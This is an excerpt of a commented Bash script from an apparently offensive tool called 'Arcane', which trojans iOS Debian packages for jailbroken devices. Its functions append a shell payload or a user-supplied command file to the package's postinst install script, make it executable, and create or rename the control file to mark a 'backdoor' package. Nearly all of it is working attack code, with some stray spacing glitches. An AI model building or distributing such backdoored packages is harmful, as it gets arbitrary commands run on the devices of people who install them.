# The "post-installation" file. This file is generally responsible
# for executing commands on the OS after installing the required
# files. It's utilized by developers to manage and maintain various
# aspects of an installation. Arcane abuses this functionality by
# appending malicious Bash commands to the file.
postinst="$tmp/DEBIAN/postinst";

# A function to handle the type of command execution embedded into the
# postinst file.
function inject_backdoor ()
{
    # If --file is used, `cat` the command(s) into the postinst file.
    if [[ "$infile" ]]; then
        cat "$infile" >> "$postinst";
        embed="[$infile]";
    else
        # If no --file, utilize the simple Bash payload, previously
        # defined.
        echo -e "$payload" >> "$postinst";
        embed="generic shell command";
    fi;
    status "embedded $embed into postinst" "error embedding backdoor"   ;
    chmod 0755 "$postinst"
};

# The "control" file template. Most iOS packages will include a
# control file. In the event one is not found, Arcane will use the
# below template. The `$hacker` variable is used here to occupy
# various arbitrary fields.
# https://www.debian.org/doc/manuals/maint-guide/dreq.en.html
controlTemp="Package: com.$hacker.backdoor
Name: $hacker backdoor
Version: 1337
Section: app
Architecture: iphoneos-arm
Description: A backdoored iOS package
Author: $hacker <https://$hacker.github.io/>
Maintainer: $hacker <https://$hacker.github.io/>";

...

# An `if` statement to check for the control file.
if [[ ! -f "$tmp/DEBIAN/control" ]]; then
    # If no control is detected, create it using the template.
    echo "$controlTemp" > "$tmp/DEBIAN/control";
    status "created control file" "error with control template";
else
    # If a control file exists, Arcane will simply rename t   he package
    # as it appears in the list of available Cydia applications. This
    # makes the package easier to location in Cydia.
    msg "detected control file" succ;
    sed -i '0,/^Name:.*/s//Name: $hacker backdoor/' "$tmp/DEBIAN/control";
    status "modified control file" "error with control";
fi;